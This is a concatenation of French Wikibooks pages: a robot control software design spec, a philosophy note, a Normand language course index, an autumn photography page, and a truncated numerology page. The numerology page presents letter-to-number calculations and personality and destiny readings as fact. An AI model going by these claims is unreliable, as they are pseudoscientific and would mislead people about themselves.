&); static float EstimateTime(pos From, pos To); } Des classe spécialisées peuvent hériter de cPath afin d'avoir plusieurs style de trajectoires, par exemple on peut avoir un cPath version clothoide, un cPath version ligne droite et rotation sur place, ou encore un cPath ligne droite horizontale ou verticale uniquement. class cClothoidPath : public cPath; Priorité : '''*''' class cStraightLinePath : public cPath; Priorité : '''**''' class cParallelLinePath : public cPath; Priorité : '''***''' class cControler : public cSingleton - Priorité : '''***''' { void Run(const cPath &); == TransitionToPathAt (path, 0) void Stop(); void EmergencyStop(); void TransitionToPathAt(const cPath &, ~uint32 Tick~); cWaypoint GetInitWaypointAt(uint32 Tick); cWaypoint GetNextWaypoint(); [IT]: GoalReachedIn(uint32 ms = 0); WaypointReachedIn(uint32 ~waypnb~, uint32 ms = 0); (dans Waypoint ?) DeviationDetected(float difference); ObstacleOnPath(); }; class cWaypoint - Priorité : '''***''' { virtual cRange GetAllowedSpeedRange(); virtual cRange GetAllowedAngularSpeedRange(); virtual cRange GetAllowedThetaRange(); virtual enum GetAllowedDirection(); virtual cPos GetPos(float theta); //GenerateFixedWaypoint(...); }; class cFixedWaypoint { float GetLeftSpeed(); float GetRightSpeed(); cPos GetPos(); float GetTheta(); }; Des classes spécialisées peuvent hériter de cWaypoint, pour définir par exemple des Waypoint de recallage sur bordure, d'attrapage de balle ou encore de dépose de balle. Ceci permet d'ajuster plus précisément la position du robot : pour déposer une balle dans un trou, il faut aligner l'éjecteur de balle avec le trou (et non pas le centre du robot). class cEdgeFrontAdjustement : public cWaypoint; (priorité : '''**''') class cEdgeBackAdjustement : public cWaypoint; (priorité : '''**''') class cBallPickup : public cWaypoint; (priorité : '''***''') class cBallPickupAgainstBorder : public cWaypoint; (priorité : '''**''') class cBallDropping : public cWaypoint; (priorité : '''***''') class cBallAspiration : public cWaypoint; (priorité : '''*''') class cTotemTriggering : public cWaypoint; (priorité : '''*''') ==Synthèse== Cette couche permet de regrouper les informations par catégorie sans distinctions de leur source (Vidéo ou HAL). Par ex: on peut contrôler et connaître l'état d'un capteur par la même interface même si l'état est connu par le biais de la vidéo et que le contrôle se fait par la HAL. ===Positionnement=== ;Description: Le module de positionnement synthétise toutes les informations relatives aux positions des éléments du jeu (balles, robots, totems, éléments du terrain), il peut aussi donner l'incertitude sur ces valeurs. L'interêt est notamment de faire la synthèse des informations redondantes (particulièrement pour la position du robot : odométrie, caméra, balise). ;Ebauche d'Interface: (priorité globale : '''***''') struct sBall { enum color; pos; delta; trustyness; bool isInHole; }; struct sOppBot { pos; delta; trustyness; }; struct sRobot { pos; delta; angle; delta; vitesse; }; struct sTotem { id; bool Triggered; enum side; pos; }; struct sHole { id; enum side; pos; enum filled; }; vector<sBall> GetKnownWhiteBall(); (priorité : '''***''') vector<sBall> GetKnownBlackBall(); (priorité : '''*''') vector<sTotem> GetKnownTotem(); (priorité : '''*''') sOppBot GetOpponentBot(); (priorité : '''*''') sRobot GetRobot(); (priorité : '''***''') sHole[28] GetHole(); (priorité : '''***''') //fonctions de retour d'infos IA -> Positionnement void SetTeamColor(enum); (priorité : '''***''') void SetPosRobotX(); (priorité : '''***''') void SetPosRobotY(); (priorité : '''***''') void SetWhiteBallInHole(id); (priorité : '''**''') void SetBlackBallInHole(id); (priorité : '''*''') void SetTotemTriggered(id); (priorité : '''*''') ===Automatisme=== ;Description: Le module d'automatisme gère les différents actionneurs et capteurs (comme la tirette de démarrage). Il permet donc de connaître l'état des actionneurs et de les contrôler assez facilement. On peut par exemple savoir la couleur de la balle actuellement dans le système d'éjection (vidéo) et commander son éjection (HAL). ;Ebauche d'Interface: (priorité globale : '''***''') La définition des interfaces du driver HAL générique dépasse le cadre de ce document, voir la doc spécifique. void ActivateRoller(bool); void ActivateFan(bool); void ActivateRollerDuring(int ms); void ActivateFanDuring(int ms); void EjectBall(enum); void DropBall(enum); enum GetBallColor(enum); enum GetIHMTeamSwitch(); int GetIHMStratSwitch(); void StopAll(); CommandeAsservBasNiveau.... (Vitesse moteur + distance à parcourir) pour chaque roue. [IT] CollisionDetected(); [IT] NewBallInEjector(); [IT] ActivateIA(); [IT] Starter(); ==Drivers (spécifiques et génériques)== La couche de drivers spécifiques dépend entièrement de la mécanique du robot utilisé et du règlement du jeu. Son interface explicite donc les noms des divers éléments. Cette couche est directement relié à la couche de drivers génériques, elle effectue une simple traduction. La couche générique est plus universelle et devrait pouvoir être réutilisée pour plusieurs règlement/application. ===Vidéo et vidéo lib=== ;Description: Le module de vidéo utilise la librairie vidéo afin de détecter les éléments du jeu. La librairie vidéo est quant à elle beaucoup plus générique et devrait pouvoir être réutilisée telle quelle d'année en année. ;Ebauche d'Interface: La définition des interfaces du driver vidéo générique dépasse le cadre de ce document, voir la doc spécifique. vector<sBall> GetExternalBall(); - Priorité : '''***''' vector<sBall> GetInternalBall(); - Priorité : '''*''' sRobot GetRobotPos(); - Priorité : '''**''' vector<sTotem> GetTotem(); - Priorité : '''**''' enum GuessTeam(); - Priorité : '''½*''' ===HAL (Hardware Abstraction Layer) et Driver Elek=== ;Description: De la même façon que la vidéo, l'HAL fournit une implémentation spécifique du driver elek. L'HAL fournit donc une interface explicitant le nom des actionneurs, tandis que le driver elek reste totalement générique et ne dépend que de l'électronique utilisée. ;Ebauche d'Interface: (priorité globale : '''***''') [A définir plus précisément avec la méca et l'asservissement] Pos GetOdometriePos(); angle-time GetGonioTick(); + Idem Automatisme =Simulateur= ;Description: Le simulateur permet de coder les modules haut niveau (au dessus de la couche de HAL) sans avoir implémenté les couches inférieures. Dans notre cas, le simulateur va nous aider à coder : *Dans un premier temps : les modules de recherche et de génération de chemin. *Ensuite : les modules de synthèses de position et de positionnement auxiliaire. *Enfin indirectement, le module d'intelligence artificielle. ;Interface: L'interface possède donc deux niveaux (mutuellement exclusive, on utilise qu'une des deux): *Un niveau qui simule la couche de synthèse avec notamment les fonctions : sRobot GetRobot(); //infos diverses sur l'etat du robot (cf struct sRobot) cEvent Starter(); //tirette de demarrage //Commande Asserv PushCmd(v1,v2, d1,d2); //Envoie une commande a l'asservissement ClearCmd(); //Efface les commandes courantes de l'asservissement //+Eventuellement les fonctions de positionnement des autres objets: vector<sBall> GetKnownWhiteBall(); vector<sBall> GetKnownBlackBall(); vector<sTotem>GetKnownTotem(); sOppBot GetOpponentBot(); sHole[28] GetHole(); *Un second niveau simulant la couche de HAL : //Vidéo : vector<sBall> GetExternalBall(); sRobot GetRobotPos(); //camera //Elek : sRobot GetRobotPos(); //odometrie cEvent CollisionDetected(); A ces deux niveaux d'interfaces, vient se rajouter le module de constantes. Le simulateur doit aussi être configurable, on doit pouvoir notamment regler les erreurs/incertitudes sur les capteurs, un decallage entre la commande et la mise en action (simulation de la latence de la transmission usb), ... =Syntaxe MediaWiki= http://fr.wikipedia.org/wiki/Aide:Syntaxe_Wikip%C3%A9dia LaTeX 5528 22793 2005-10-11T02:55:49Z Elwikipedista 661 #Redirect [[Programmation LaTeX]] #Redirect [[Programmation LaTeX]] Philosophie/Objectif/subjectif 5530 46107 2006-06-27T18:56:59Z Guillaumito 46 [[Objectif/subjectif]] déplacé vers [[Philosophie/Objectif/subjectif]]: Convention de nommage Au sens strict, est dit subjectif ce qui appartient au sujet, objectif, ce qui appartient à l'objet. A ce titre, tout ce qui fait partie du champ de la conscience (jugements, sentiments, volontés...) est subjectif et on peut dire que la proposition "la somme des angles d'un triangle est égale à 180°" décrit une propriété objective, celle du triangle. Mais on emploie souvent ces deux termes pour qualifier des genres de connaissances. Une connaissance subjective serait équivalente à partiale, relative, parce que mal mise à distance et donc mal critiquée, et n'aurait de valeur que pour le sujet qui l'affirme; une connaissance objective serait au contraire impartiale, parce que suffisamment distanciée par le sujet pour être partagée par les autres. Pourtant, cette distinction tranchée est sommaire. En effet, tout jugement, parce qu'il est nécessairement émis par un sujet, est subjectif, et en même temps vise l'objectivité quand il construit l'objet de son examen de façon à le comprendre, le mettre en ordre, et ainsi le faire comprendre aux autres. Ainsi, il n'existe pas plus de jugement purement subjectif que de pure objectivité, dans le sens où la pensée s'exerce toujours sur un objet dont le sens est toujours élaboré par un sujet. Lorsqu'on parle d'un jugement de connaissance, cela implique toujours l'effort d'une subjectivité qui veut partager son savoir avec d'autres subjectivités. Si la proposition "la somme des angles d'un triangle est égale à 180°" est un jugement de connaissance qui décrit une propriété objective du triangle, c'est parce que cette propriété a été construite par des sujets de façon à ce que les esprits s'accordent sur ce qu'est un triangle. Il faut donc faire la distinction entre l'usage ordinaire de "subjectif" qui signifie "immédiat, partial, mal maîtrisé" et ne désigne pas une connaissance digne de ce nom, et l'usage philosophique qui suppose une construction réciproque entre subjectif et objectif et qui désigne une connaissance visant l'intersubjectivité. Langue normande 5533 35082 2006-02-28T11:18:57Z Fitzwarin 1197 ajout bref {{ébauche}} ----- [[Image:Normandy flag large.png|180px]] [[Image:Flag of Normandy.jpg|160px]] [[Image:Jersey flag 300.png|180px]] ----- '''SAI LES BEINV'NUS!''' - '''SEYIS LES BYINVENUNS''' ! (''Soyez les bienvenus'') __NOTOC__ Ce wikilivre pour apprendre le '''[[w:fr:Normand|normand]]''' est aussi bien proposé à ceux qui veulent apprendre à parler la langue normande dans une ou plusieurs de ses variantes, qu'à ceux qui « prêchent » déjà, c'est-à-dire aux locuteurs soucieux de se perfectionner. Nota: ''Ce livre est construit sur le modèle du [[Enseignement_de_l'anglais|wikilivre pour apprendre l'anglais]].'' Les leçons sont utiles pour débuter l'apprentissage. Les chapitres qui concernant la grammaire, la conjugaison, ou le vocabulaire de tous les jours permettent de réviser les notions particulières. Cette wiki grammaire est en cours d'élaboration. Merci de votre patience. __TOC__ ==Introduction== *[[Langue normande/Introduction à la langue normande|Introduction à la langue normande]] *[[Langue normande/Comment apprendre le normand ?|Comment apprendre le normand ?]] Il existe plusieurs variétés encore usitée en [[w:fr:Normandie|Normandie]] à l'heure actuelle ! * la [[Langue normande/Cauchois|variété cauchoise]] * la [[Langue normande/Cotentinais|variété cotentinaise]] * la [[Langue normande/Jersiais|variété jersiaise]] Les différences entre les variétés cotentinaises et jersiaises sont moins importantes qu'avec le cauchois. Des difficultés inhérentes aux diverses orthographes actuelles de ces variantes ne facilitent pas leur apprentissage et compromettent gravement leur vitalité à moyen terme. C'est le cas en particulier des finales des verbes du premier groupe (graphies en -aer, -aï, -aïr qui se prononcent [é, è, a, o, oï, aï, aïr...] selon les lieux) ou à Jersey le son /r/ qui est transcrit par le -th- anglais que les Normands du continent lisent [t]. Une standardisation graphique peut rapidement s'avérer nécessaire, mais demande à l'évidence au préalable l'établissement d'un lieu de discussion reconnu par tous les acteurs concernés. ---- == Enseignement == === <center>Prononciations </center>=== {| cellpadding="5" align="center" | bgcolor="#EAF5FB" width=250 | [[Langue normande/Consonnes|Consonnes]] [[Image:100%.png]] : graphies || bgcolor="#EAF5FB" width=250| [[Langue normande/Voyelles|Voyelles]] [[Image:100%.png]] : graphies || bgcolor="#EAF5FB" width=250| [[Langue normande/Nasales|Nasales]] [[Image:100%.png]] : graphies |- | bgcolor="#EAF5FB" width=250| [[Langue normande/Diphtongues|Diphtongues]] [[Image:100%.png]] : graphies|| bgcolor="#EAF5FB" width=250| [[Langue normande/Triphtongues|Triphtongues]] [[Image:100%.png]] : graphies|| bgcolor="#EAF5FB" | |} ---- === <center>Leçons </center>=== {| cellpadding="5" align="center" | bgcolor="#EEFFFF" width=250 | [[Langue normande/Se présenter|Leçon 1]] {{50}} : se présenter || bgcolor="#EEFFFF" width=250| [[Langue normande/L'heure|Leçon 3]] {{50}} l'heure || bgcolor="#EEFFFF" width=250| [[Langue normande/Le discours indirect|Leçon 5]] {{50}}: le discours indirect |- | bgcolor="#EEFFFF" width=250| [[Langue normande/Les « busoqueries »|Leçon 2]] {{50}} : les ''busoqueries''|| bgcolor="#EEFFFF" width=250| [[Langue normande/La date|Leçon 4]] {{50}}: la date || bgcolor="#EEFFFF" width=250| |} ---- === <center>Conjugaison </center>=== {| cellpadding="5" align="center" | bgcolor="#F3F3FF" width=250 | [[Langue normande/Présent de l'indicatif|Indicatif présent]] || bgcolor="#F3F3FF" width=250| [[Langue normande/Imparfait de l'indicatif|Indicatif imparfait]] || bgcolor="#F3F3FF" width=250| [[Langue normande/Passé simple|Passé simple]] |- | bgcolor="#F3F3FF" | [[Langue normande/Futur|Futur]] || bgcolor="#F3F3FF" | [[Langue normande/Présent du subjonctif|Subjonctif présent]] || bgcolor="#F3F3FF" | [[Langue normande/Conditionnel|Conditionnel]] |- | bgcolor="#F3F3FF" | [[Langue normande/Infinitif|Infinitif]] || bgcolor="#F3F3FF" | [[Langue normande/Participe passé|Participe passé]]|| bgcolor="#F3F3FF" | [[Langue normande/Impératif|L'impératif]] |- | bgcolor="#F3F3FF" | [[Langue normande/Parfait présent|Parfait présent]] || bgcolor="#F3F3FF" | [[Langue normande/Verbes être et avoir|Verbe être et avoir]] || bgcolor="#F3F3FF" | [[Langue normande/Tableau_récapitulatif_des_conjugaisons|Tableau de conjugaison (récapitulatif)]] |} ---- === <center>Grammaire </center>=== {| cellpadding="5" align="center" | bgcolor="#EAF5FB" width=250 | [[Langue normande/Mots_interrogatifs|Les mots interrogatifs]] || bgcolor="#EAF5FB" width=250|[[Langue normande/Pronoms|Les pronoms]] ||bgcolor="#EAF5FB" width=250| [[Langue normande/Adjectifs|Les adjectifs]] |- | bgcolor="#EAF5FB" | [[Langue normande/Comparatifs|Les comparatifs]] ||bgcolor="#EAF5FB" | [[Langue normande/Proposition_infinitive|La proposition infinitive]] || bgcolor="#EAF5FB" | [[Langue normande/Articles|Les différents articles]] |- | bgcolor="#EAF5FB" | [[Langue normande/Exercices 1|Exercices (vide)]] || bgcolor="#EAF5FB" | [[Langue normande/Exercices 2|Exercices (vide)]] || bgcolor="#EAF5FB" | [[Langue normande/Exercices 3|Exercices (vide)]] |} ---- === <center>Vocabulaire </center>=== {| cellpadding="5" align="center" | bgcolor="#EAF5FB" width=250 | [[Langue normande/Dire bounjouo ! |Formule de politesse]] || bgcolor="#EAF5FB" width=250| [[Langue normande/Les habits|L'habillement]] ||bgcolor="#EAF5FB" width=250| [[Langue normande/La moujâle|La nourriture]] |- |bgcolor="#EAF5FB" | [[Langue normande/La maisoun|La maison]] || bgcolor="#EAF5FB" | [[Langue normande/La sauntaé|La santé]]||bgcolor="#EAF5FB" |[[Langue normande/La science|La science]] |- |bgcolor="#EAF5FB" | [[Langue normande/Lé corps|Le corps]] || bgcolor="#EAF5FB" | [[Langue normande/La famile|La famille]] ||bgcolor="#EAF5FB" | [[Langue normande/Faire des acats|Faire des courses]] |- |bgcolor="#EAF5FB" | [[Langue normande/La vile|La ville]] || bgcolor="#EAF5FB" | [[Langue normande/La politique|La politique et le gouvernement]] || bgcolor="#EAF5FB" | [[Langue normande/Les proumenades|Le tourisme]] |- |bgcolor="#EAF5FB" | [[Langue normande/Lé caractêre|Le caractère]] || bgcolor="#EAF5FB" | [[Langue normande/Les écoles|L'école]] || bgcolor="#EAF5FB" | [[Langue normande/Les temps qui passe|Le temps]] |- |bgcolor="#EAF5FB" | [[Langue normande/La tchusène|La cuisine]] || bgcolor="#EAF5FB" | [[Langue normande/Dounaer son opinioun|Donner son opinion]]|| bgcolor="#EAF5FB" | [[Langue normande/Les pais|Les pays]] |- |bgcolor="#EAF5FB" | [[Langue normande/Les bêtes|Les animaux]] || bgcolor="#EAF5FB" | [[Langue normande/La religioun|La religion]] || bgcolor="#EAF5FB" |[[Langue normande/Les métyis|Les métiers]] |- |bgcolor="#EAF5FB" | [[Langue normande/Ou gardin |Le jardinage]] || bgcolor="#EAF5FB" | [[Langue normande/L'ermaée|L'armée]] || bgcolor="#EAF5FB" |[[Langue normande/Lé temps qui fait|Le temps (la météo)]] |- |bgcolor="#EAF5FB" | [[Langue normande/Les bâtisses|L'architecture]] || bgcolor="#EAF5FB" | [[Langue normande/Les cartchus|Les mathématiques]] || bgcolor="#EAF5FB" |[[Langue normande/La vîe|La biologie]] |- |bgcolor="#EAF5FB" | [[Langue normande/la musique|La musique]] ||bgcolor="#EAF5FB" | [[Langue normande/Les daunches|Les danses]] || bgcolor="#EAF5FB" | |} ---- == Applications, exercices == *''vide'' ---- == Liens == *''vide'' [[Catégorie:Langue|Normand]] Photographie - 31 - L'automne 5534 22830 2005-10-12T00:14:39Z Jean-Jacques MILAN 114 {{Photographie}} L'automne est probablement la meilleure saison pour la photographie de paysage en raison de la qualité des lumières et des taches de couleur apportées par les feuillages jaunissants ou rougissants. Cependant, les couleurs chatoyantes ne suffisent pas à faire de belles photographies, il faut aussi penser à la composition et il n'est pas toujours facile de donner des proportions harmonieuses aux différents éléments inclus dans le cadre. {| border="1" cellpadding="5" cellspacing="0" |- |[[Image:SubalpineLarch 7735tl.jpg|160px|center]] |'''Mélèzes (Larix lyallii), Wenatchee Mountains, Washington, USA'''<br><br> Contrairement à la plupart des autres conifères, les mélèzes voient leur feuillage jaunir, puis tomber. Ils apportent des éléments colorés verticaux dans les paysages de montagne, comme font les peupliers en plaine. |- |[[Image:SubalpineLarch 7769.jpg|200px|center]] |'''Mélèzes (Larix lyallii), Wenatchee Mountains, Washington, USA'''<br><br> Le feuillage d'automne vu de près. |- |[[Image:TenryujiMomiji1.jpg|240px|center]] |'''Tenryu-ji, Kyoto, Japon'''<br><br> L'association des taches colorées formées par le feuillage et de la structure rectiligne des bambous donne une photographie très agréable à regarder. |- |[[Image:TenryujiMomiji.jpg|180px|center]] |'''Tenryu-ji, Kyoto, Japon'''<br><br> Une autre interprétation des mêmes motifs dans le registre vertical. |- |[[Image:TenryujiMomiji2.jpg|180px|center]] |'''Tenryu-ji, Kyoto, Japon'''<br><br> Une autre encore, avec une structure apparemment plus simple et un relief plus important. |- |[[Image:KyotoAutumn.jpg|240px|center]] |'''Automne à Kyoto'''<br><br> L'œil se promène volontiers dans ce jardin japonais où les diverses essences d'arbres prennent des couleurs variées. La chute des feuilles n'a pas encore vraiment commencé et l'eau peut jouer son rôle de miroir. C'est un élément précieux pour les paysages d'automne. |- |} <gallery> Image:WalkAmidMaples2.jpg Image:EikandoMomiji.jpg Image:NanzenjiMomiji.jpg Image:TenryujiGarden.jpg </gallery> La Numérologie 5535 40186 2006-04-13T21:41:33Z 83.214.129.189 '''La Numérologie''' est un art divinatoire s'incrivant dans le courant de l'ésotérisme. Elle est basée sur l'attribution de propriétés à des nombres à travers leurs « rapports vibratoires ». C'est une méthode de calcul, variant selon le type de numérologie, à partir des lettres formant soit un nom, prénom d'un mot (dépendant de la source de alphabétique, latin, grec, copte, hébreux etc.) ou d'un nombre. L'une des origines de la numérologie est la guématrie, une technique hermétique traditionnelle dans le judaïsme dénommée Cabale. Le fait que les propriétés attribuées aux « rapports vibratoires » sont attribuées selon des lois cosmologiques, et le fait que les résultats varient en fonction de la langue du mot utilisé, réfutent le caractère scientifique de la numérologie ; les numérologues attribuent à leur technique ésotérique une valeur de dimension de la psyché. ==Principe== Chaque lettre est représentée par une valeur numérale, indiquant la fréquence vibratoire de cette dernière. Dans l'alphabet francophone, il y a donc 26 lettres auxquelles on peut donner une valeur numérale. L'on distingue deux grandes catégories de numérologies : * Numérologies primaires ou traditionnelles : ** la plus commune, traditionnelle occidentale latine: la numérologie à neuf nombres **la numérologie à 22 nombres découle de l'attribution numérale des séphirot et chemin de la cabale. La '''numérologie à neuf nomrbres'''. ===Section explicative complète=== #Les nombres primaires #Le calcul #L'actif #Le chemin de vie #l'expression #L'hérédité #L'idéal #La charte karmique #Les défis ===Les nombres primaires=== '''1 La monade: unité androgyne''' Le “1” signifie le commencement, le point de départ, c’est le symbole du Dieu créateur. Dirigeant - commande - il a souvent raison - il a plusieurs personnalités - c’est la vibration la plus difficile à diversifier - il est parfois influençable - nerveux - indépendant - ambitieux. '''2 Le deux: Premier nombre pair (féminin).''' Symbole du couple, la paire. Traditionnellement le “2” S’oppose au “1”, mais peut aussi le compléter pour former le triangle (la trinité). Le “2” indique un labeur silencieux mais efficace -2 x 1 - deux forces - dualité - conflit continuel - le yin/yang. '''3 Le triangle: Premier nombre impair (masculin).''' Le “3” est le symbole de la divine Trinité, il est formé de 1+2 - Le soleil et la lune formant la terre - Marie + Femme pour former l’enfant - Bien + Mal pour former la vérité. Le “3” est un aboutissement et peut être considéré comme signifiant l’équilibre des forces bonnes et mauvaises qui régissent l’univers. L’esprit - pense beaucoup - réalise peu - fiabilité - “3” = la foule - communication - nombre de dispersion. '''4 Le carré: Puissance divine dans la réalisation et la matière.''' Le “4” est en bref le symbole de ce qui est matériel, comme le cercle l’est au spirituel.Les deux se complètent pour former la dernière étape avant la connaissance. Ces deux figures sont considérées comme particulièrement solides. '''5 Le pentagramme: l’Homme.''' Le “5” est le symbole de vie, il représente le mouvement, l’agilité, la liberté. L’Homme particulier s’organise après que tous soient organisé. Les 4 éléments: terre - eau - air - feu, le souffle vital qui l’anime est le cinquième élément. Les orientaux le nomme éther (esprit). Nombre de l’amour - les enfants - la sexualité - les émotions fortes - le magnétisme - curieux - mentir par volupté. '''6 L’hexagrame: l’équilibre Homme/Cosmos.''' Le triangle matériel + plus le triangle spirituel. L’équilibre entre le matériel et le spirituel. Domaine médical ou alimentaire - rarement chef - victime de discrimination - sens du foyer - jaloux - hésitant. '''7 Le sept: L’Homme se dirige vers la perfection.''' Les sept notes de la gamme suffisent pour former d’innombrables mélodies. Le sept est généralement considéré bénéfique, mais de courte duré puisqu’il est suivi d’un retour au néant selon l’évolution normale du cycle de vie. - être cosmique par excellence - intellectuel - perfectionniste - nombre de l’image - nombre intérieur. '''8 L’infini: le nombre de la loi appliquée.''' Le huit a logiquement le droit d’accéder aux connaissances car celles-ci ne peuvent-être abordées que par la maîtrise totale du corps et de l’esprit. Nombre de l’infini - matérialiste - dominateur - brutal - chef de file. '''9 Nombre de l’accomplissement.''' Le neuf est le symbole de l’idéalisme, de la noblesse, des sentiments. Il cherche la perfection et indique le franchissement du seuil divin, l’accès au premier degré de la connaissance divine. Sublimation des instincts. - être très sensible - sens des arts - fantaisiste - peur du jugement - idéaux élevés - rêveur. '''11 Le maître Onze.''' Courageux - énergétique - original - hésitant - impulsif. '''22 Le maître vingt-deux.''' Dirigeant - dominateur - pouvoir - magnétisme - sens humanitaire - tendance à l’emportement. ===Le calcul=== Table des 9 Nombres Les lettres et leur correspondances en Nombres {| border="3" cellspacing="5" cellpadding="4" aling="left" | |1|| A || J || S |- |2|| B || K || T |- |3|| C || L || U |- |4|| D || M || V |- |5|| E ||N || W |- |6|| F || O || X |- |7|| G || P || Y |- |8|| H || Q || Z |- |9|| I || R |} *La réduction théosophique, c'est la somme réduite à sa plus simple expression. *L'actif se calcul en prenant toutes les lettres contenues dans le prénom d'une personne. Elle sont additionnées et réduites. **ex: DAVID, soit 4+1+4+9+4= 22/4. L'actif de David est 22/4. *L'héréditdé se calcule en prenant toutes les lettres contenues dans le nom de famille d'une personne. Elle sont additionnées et réduites. **ex: MACHIN, soit 4+1+3+8+9+5= 30/3. L'hérédité de David est 3. *L'Idéal se calcul en prenant toutes les voyelles contenues dans le prénom et nom d'une personne. Elle sont additionnées et réduites. **ex: dAvId mAchIn, soit 1+9+1+9= 20/2. L'idéal de David est 2. *La personnalité se calcule en prenant toutes les consonnes contenues dans le prénom et nom d'une personne. Elle sont additionnées et réduites. **ex: DaViD MaCHiN, soit 4+4+4+4+3+8+5= 32/5. La personnalité de David est 5. *La destinée se calcul en prenant toutes les lettres contenues dans le prénom et le nom d'une personne. Elle sont additionnées et réduites. **ex: DAVID MACHIN soit 22 + 30 = 52/7. La destinée de David est 7. *Le chemin de vie se calcul en prenant la date de naissance d'une personne.Tout comme l'actif elle est additionnée et réduite. **ex: 22 juin 1901, soit (22+6) + (1+9+0+1)= 39/12/3. Le chemin de vie est donc 39/12/3. ===L'actif, l'hérédité, l'idéal, la personnalité et la destinée=== *L'actif: '''prénom''' Les vibrations qu'il dégage sont individuelles et personnelles. C'est l'intérieur de la personne... Ce qui échappe aux regards. *L'hérédité: '''nom''' C'est le canal par lequel une âme s'incarne. Ce sont les ascendant familiaux ,physiques, moraux et mentaux. *L'idéal: '''consonnes''' Le mouvement de la vie, le moi interne, le moi véritable et profond. Nos aspirations intimes. *La personnalité: '''voyelles''' Tel que le monde extérieur nous perçoit et l'effet que nous produisons sur eux. *Destinée: ''''nom + prénom''' Indique le chemin inévitable de notre vie. L'horizon vers lequel cela nous mène. *Chemin de vie ou vibration de vie ou vibration de naissance: '''date de naissance''' Détermine le comportement de l'individu, ses forces et ses faiblesses, ses opportunités et ses limites. Le tout biensûr à la base, l'Homme étant libre. Il est permis à tous de changer et de s'améliorer durant son cheminement sur le plan physique. ===1=== ACTIF: Qualités: Enthousiaste - Original - Ambitieux - Art de convaincre - Autodidacte. Faiblesses: Égoïste - Menteur - Indécis - Prétentieux - Vaniteux. HÉRÉDITÉ: Une telle personnalité est issue d’une famille dont les caractéristiques principales sont l’indépendance, la fierté et le goût de tout diriger. Les attentes d’un tel milieu familial envers sa descendance sont très élevées. IDÉAL: Il préfère travailler seul... et il aime que l’on reconnaisse le travail bien fait. Il a sa façon personnelle de travailler. Il veut diriger et c’est un être courageux. PERSONNALITÉ: C’est une personne entière, digne et correcte dans les grandes lignes... et les détails sont importants en fonction de la qualité de l’ensemble. DESTINÉE: (Expression) La créativité est un de ses points forts! Le succès lui est acquis...par le travail. Il est ambitieux et peut atteindre un poste de direction. === 2=== ACTIF: Qualités: Harmonie - Bonté - Réservé - Personne émotive et affectueuse. Faiblesses: Sournois - Taciturne - Détaché - Difficulté à faire des choix. HÉRÉDITÉ: En ce qui concerne l’hérédité, le nombre 2 offre en général, un environnement attrayant. Le milieu est plutôt artistique. La communication avec les siens est très affectueuse et émotive. IDÉAL: Les personnes ayant cet idéal aiment travailler dans l’harmonie. Elles ont besoin de beaucoup d’amour et d’amitié. Ce sont des gens qui recherche l’association et la compréhension et elles sont attirés par tout ce qui est beau. PERSONNALITÉ: Une personnalité 2 est diplomate et coopérative...et pointilleuse dans les moindres détails. DESTINÉE: Le deux est un conciliateur et un intermédiaire. Il aura à se servir de ses atouts au cours de sa vie. Il aime à travailler en association... et le “2” est un pacifique. ===3=== ACTIF: Qualités: Communicateur - Eduqué - Chercheur - Don de transformer les matières. Faiblesses: Séducteur - Capricieux - Dispersé - Sensible à la flatterie et à la galanterie. HÉRÉDITÉ: Les parents ont vu à ce que la personne évolue dans un certain confort sans luxe superflu. La famille est respectueuse des lois. On lui apprend à se débrouiller jeune dans la vie. IDÉAL: Le 3 recherche l’amitié, il aime les beaux côtés de la vie, les plaisirs et la facilité... en tout. PERSONNALITÉ: C’est une personnalité agréable à vivre. C’est un fin parleur et il a une douceur naturelle. On recherche sa compagnie. DESTINÉE: Il doit aider les autres à être optimiste...et répandre la joie par les mots. Il a rarement une grande fortune. ===4=== ACTIF: Qualités: Rigoureux - Tenace - Ferme - Droit - Persévérant. Faiblesse: Autoritaire - Manque de tact et de diplomatie - Il n’aime pas les changements. HÉRÉDITÉ: En général, le “4” bénéficie d’une sécurité matérielle. Sa famille le protège et lui fait la vie facile. On lui indique le chemin dans lequel il serait en mesure de mieux réussir sa vie. IDÉAL: Il est pratique et cherche à être organisé. Les traditions sont importantes. Il est sérieux en action, il recherche la sécurité et la respectabilité. PERSONNALITÉ: Le “4” doit surpasser son image s’il ne veut pas être perçu uniquement comme “un bon travailleur”. Il est perçu comme un être digne et loyal. DESTINÉE: Le “4” doit prendre ses responsabilités. Il doit apprendre la justice, l’équilibre et la sécurité. La vie n’est pas toujours facile car il doit bâtir. ===5=== ACTIF: Qualités: Diplomatie - Conseiller - Compréhensif - Philosophe. Faiblesses: Catégorique - Négligent - Impatient - Extrémiste. HÉRÉDITÉ: Les natifs qui vivent sous cette vibration jouissent habituellement d’une jeunesse active. Ils ont généralement des attraits pour le sport et la danse. La famille lui a transmis, par la voie de la raison, des bons principes... et elle insiste sur des longues études pour lui assurer une place de choix dans la vie. IDÉAL: “Liberté... liberté! Voilà ce qui prime pour les personnes ayant cet idéal. Indépendant en pensée et en action: “Je mène ma vie à comme ça me plaît!”. Il aime le plaisir et les voyages. La prise de responsabilités... c’est à la lettre... ou pas du tout! PERSONNALITÉ: Le “5” est perçu comme une personne curieuse, sensuelle et désinvolte. Il est spirituel et est ouvert à toutes sortes d’expériences. DESTINÉE: C’est le mouvement des idées nouvelles et la recherche du progrès constant. Il est important pour eux d'obtenir des solutions rapides. Les personnes ayant cette destinée sont des gens perpétuellement inquiets à cause des changements rapides dans leur vie. Ils se remettent souvent en question. ===6=== ACTIF: Qualités: Très responsable - Au service d’autrui - Beaucoup d’amis - Critique. Consciencieux. Faiblesses: Dépressif - Rancunier - Menteur - Excessif (abus) - Se laisse dominer par les autres. HÉRÉDITÉ: Il s’identifie à sa famille et suit son exemple le plus souvent... et ce à partir de son enfance car il s’oriente d’après les exemples du vécu familial. Toute sa vie en dépend. IDÉAL: Il cherche à évoluer dans le monde avec l’esprit ouvert. Il recherche l’amour, désire ce qu’il y a de mieux pour son entourage. C’est un conseiller naturel. Il est possessif. PERSONNALITÉ: Il désire que sa famille soit toujours unie. Il aime recevoir et il apprécie le confort sans luxe superflu. S’entoure de fleurs et de musique. DESTINÉE: Il réconforte son entourage et il est heureux quand il peut donner. Sa mission est de prendre soin d’autrui. Les enfants sont sa réalité. ===7=== ACTIF: Qualités: Fonctionne mieux seul - Analyste - Intellectuel - Mystique - Solitaire - C’est un contemplatif - Défend les faibles - Son image est importante. Faiblesses: Cruel - Peut détruire à distance - Imprévisible - Tendance au surmenage -Vaniteux et froid - Inspire la crainte de ses réactions. HÉRÉDITÉ: Les personnes ayant cette hérédité reçoivent normalement une solide éducation de leur famille. Cependant, pour trouver leur orientation ils ont besoin de leur bagage d’expériences 